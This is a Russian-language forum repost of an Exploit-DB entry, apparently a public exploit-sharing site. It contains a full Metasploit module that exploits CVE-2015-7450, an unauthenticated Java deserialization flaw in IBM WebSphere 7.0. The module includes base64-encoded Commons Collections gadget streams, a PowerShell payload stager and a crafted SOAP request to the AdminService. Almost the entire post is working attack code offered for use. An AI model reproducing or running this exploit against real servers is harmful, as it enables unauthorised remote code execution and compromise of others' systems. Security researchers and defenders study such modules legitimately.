Exploit IBM WebSphere - RCE Java Deserialization (Metasploit)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
41613
Проверка EDB
  1. Пройдено
Автор
METASPLOIT
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2015-7450
Дата публикации
2017-03-15
IBM WebSphere - RCE Java Deserialization (Metasploit)
Код:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name'           => "IBM WebSphere RCE Java Deserialization Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization
        call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows
        remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
            'Liatsis Fotios @liatsisfotios'       # Metasploit Module

            # Thanks for helping me:
            # # # # # # # # # # # #

            # Kyprianos Vasilopoulos @kavasilo    # Implemented and reviewed - Metasploit module
            # Dimitriadis Alexios @AlxDm_         # Assistance and code check
            # Kotsiopoulos Panagiotis             # Guidance about Size and Buffer implementation
        ],
      'References'     =>
        [
            ['CVE', '2015-7450'],
            ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],
            ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],
            ['URL', 'https://www.tenable.com/plugins/index.php?view=single&id=87171']
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
            [ 'IBM WebSphere 7.0.0.0', {} ]
        ],
      'DisclosureDate' => "Nov 6 2015",
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
            'SSL'      => true,
            'WfsDelay' => 20
      }))

    register_options([
      OptString.new('TARGETURI', [true, 'The base IBM\'s WebSphere SOAP path', '/']),
      Opt::RPORT('8880')
    ], self.class)
  end


  def exploit
      # Decode - Generate - Set Payload / Send SOAP Request
      soap_request(set_payload)
  end

  def set_payload
      # CommonCollections1 Serialized Streams
      ccs_start = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQ="
      ccs_end = "dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAEHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo="

      # Generate Payload
      payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end)
      payload_exec = Rex::Text.encode_base64(payload_exec)
  end

  def invoke_ccs(serialized_stream)
      # Decode Serialized Streams
      serialized_stream = Rex::Text.decode_base64(serialized_stream)
  end

  def gen_payload
      # Staging Native Payload
      exec_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
      exec_cmd = exec_cmd.gsub("%COMSPEC% /b /c start /b /min ", "")

      # Size up RCE - Buffer
      cmd_lng = exec_cmd.length
      lng2str = "0" + cmd_lng.to_s(16)
      buff = [lng2str].pack("H*")

      rce_pld = buff + exec_cmd
  end

  def soap_request(inject_payload)
      # SOAP Request
      req = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
      req += "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">" + "\r\n"
      req += "<SOAP-ENV:Header xmlns:ns0=\"admin\" ns0:WASRemoteRuntimeVersion=\"7.0.0.0\" ns0:JMXMessageVersion=\"1.0.0\" ns0:SecurityEnabled=\"true\" ns0:JMXVersion=\"1.2.0\">" + "\r\n"
      req += "<LoginMethod>BasicAuth</LoginMethod>" + "\r\n"
      req += "</SOAP-ENV:Header>" + "\r\n"
      req += "<SOAP-ENV:Body>" + "\r\n"
      req += "<ns1:getAttribute xmlns:ns1=\"urn:AdminService\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" + "\r\n"
      req += "<objectname xsi:type=\"ns1:javax.management.ObjectName\">" + inject_payload + "</objectname>" + "\r\n"
      req += "<attribute xsi:type=\"xsd:string\">ringBufferSize</attribute>" + "\r\n"
      req += "</ns1:getAttribute>" + "\r\n"
      req += "</SOAP-ENV:Body>" + "\r\n"
      req += "</SOAP-ENV:Envelope>" + "\r\n"

      uri = target_uri.path

      res = send_request_raw({
          'method'      => 'POST',
          'version'     => '1.1',
          'raw_headers' => "Content-Type: text/xml; charset=utf-8" + "\r\n" + "SOAPAction: \"urn:AdminService\"" + "\r\n",
          'uri'         => normalize_uri(uri),
          'data'        => req
      })
  end

end
 
Источник
www.exploit-db.com

Похожие темы